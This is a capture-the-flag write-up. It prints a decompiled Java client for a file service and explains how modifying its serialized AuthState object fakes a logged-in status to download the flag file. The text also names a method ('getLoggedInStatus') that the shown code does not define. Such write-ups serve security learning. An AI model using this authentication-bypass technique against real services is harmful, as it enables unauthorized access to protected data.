Summary

The queen-of-hearts challenge was on two ports, 9010 which contained a downloadable Java .jar file and 9008 which was the service that you needed to interact with. Initially it appeared that it was an insecure deserialisation exploit, and while it is likely that that was also present, the flag could be obtained using a simple logic flaw as the application was relying on a client-side check for authentication status.

Walk-through

Decompiling the QOH_Client.jar using jd-gui found on port 9010 gives us the source code for the client that connects to the service on port 9008. It is very simple and contains just two Java classes:

jd-gui decompiling the QOH_Client.jar file

AuthState.java

import java.io.Serializable;

public class AuthState implements Serializable {
    private static final long serialVersionUID = 123197894L;

    private boolean loggedIn = false;

    private String username = "Guest";

    public boolean isLoggedIn() {
        return true;
    }

    public void setLoggedInStatus(boolean paramBoolean) {
        this.loggedIn = paramBoolean;
    }
}

Client.java

import java.io.*;
import java.net.Socket;
import java.net.UnknownHostException;

public class Client {
    private Socket socket;

    private AuthState authState;

    private ObjectInputStream cliIn;

    private ObjectOutputStream cliOut;

    private BufferedReader userIn;

    public void printUsage() {
        System.out.println("Usage:\n\tjava -jar QOH_Client.jar <ip> <port>\n\n\twhere port is generally 9008");
    }

    public void cliLoop(String paramString, int paramInt) throws IOException, ClassNotFoundException {
        boolean bool = false;
        try {
            this.socket = new Socket(paramString, paramInt);
        } catch (UnknownHostException unknownHostException) {
            System.out.println("Failed to connect to host.");
            return;
        }
        this.cliIn = new ObjectInputStream(this.socket.getInputStream());
        this.cliOut = new ObjectOutputStream(this.socket.getOutputStream());
        this.userIn = new BufferedReader(new InputStreamReader(System.in));
        this.authState = (AuthState)this.cliIn.readObject();
        if (this.authState == null) {
            System.out.println("Could not receive the AuthState object");
            bool = true;
        }
        System.out.println("Successfully connected to the server!");
        while (!bool) {
            int i = -1;
            String str1 = "";
            str1 = this.cliIn.readUTF();
            System.out.println(str1);
            String str2 = this.userIn.readLine();
            try {
                i = Integer.parseInt(str2);
            } catch (NumberFormatException numberFormatException) {
                i = -1;
            }
            this.cliOut.writeInt(i);
            this.cliOut.flush();
            str1 = this.cliIn.readUTF();
            System.out.println(str1);
            if (str1.contains("invalid"))
                continue;
            switch (i) {
                case 1:
                    doList();
                case 2:
                    doDownload(this.userIn);
                case 3:
                    doAuthenticate(this.userIn);
            }
        }
    }

    public void doAuthenticate(BufferedReader paramBufferedReader) {
        String str = "";
        try {
            this.cliOut.writeObject(this.authState);
            str = this.cliIn.readUTF();
            System.out.println(str);
            if (str.contains("already authenticated"))
                return;
            String str1 = paramBufferedReader.readLine();
            this.cliOut.writeUTF(str1);
            this.cliOut.flush();
            str = this.cliIn.readUTF();
            System.out.println(str);
            this.authState = (AuthState)this.cliIn.readObject();
        } catch (IOException|ClassNotFoundException iOException) {
            System.out.println("Could not retrieve server's message regarding authentication");
            return;
        }
    }

    public void doList() {
        String str = "";
        try {
            str = this.cliIn.readUTF();
            System.out.println(str);
            str = this.cliIn.readUTF();
        } catch (IOException iOException) {
            System.out.println("Failed to receive a file listing from the server.");
            return;
        }
        System.out.println(str);
    }

    public void doDownload(BufferedReader paramBufferedReader) {
        String str = "";
        try {
            String str1;
            str = this.cliIn.readUTF();
            System.out.println(str);
            this.cliOut.writeObject(this.authState);
            str = this.cliIn.readUTF();
            System.out.println(str);
            if (str.contains("not authenticated"))
                return;
            do {
                str = this.cliIn.readUTF();
                System.out.println(str);
                str1 = paramBufferedReader.readLine();
                this.cliOut.writeUTF(str1);
                this.cliOut.flush();
                str = this.cliIn.readUTF();
                System.out.println(str);
            } while (!str.contains("Sending"));
            FileOutputStream fileOutputStream = new FileOutputStream(str1);
            int i = this.cliIn.readInt();
            System.out.println("File size received is " + i);
            byte[] arrayOfByte = new byte[i];
            this.cliIn.readFully(arrayOfByte, 0, i);
            fileOutputStream.write(arrayOfByte);
            fileOutputStream.close();
        } catch (IOException iOException) {
            System.out.println("Unable to download from the server");
        }
    }

    public static void main(String[] paramArrayOfString) throws IOException, ClassNotFoundException {
        Client client = new Client();
        if (paramArrayOfString.length != 2) {
            client.printUsage();
            return;
        }
        String str = paramArrayOfString[0];
        int i = Integer.parseInt(paramArrayOfString[1]);
        client.cliLoop(str, i);
        client.cliIn.close();
        client.cliOut.close();
        client.userIn.close();
    }
}

If we set the loggedIn status on the authState object before it is sent to the server using this.authState.getLoggedInStatus(true); at the start of the doDownload method it is enough to trick the server into thinking we are logged in. Then the server will allow us to download the files. All we have to do is request the queen_of_hearts.png from the server and we're done:

Modified client downloading the queen_of_hearts.png

Flag

This gives the queen-of-hearts:

And the md5sum of this flag gives:

9d00a7a90f78ba4705847ea96b418422

Other Challenges

Most of the other flags have been written up by my team-mate rushi and can be found here.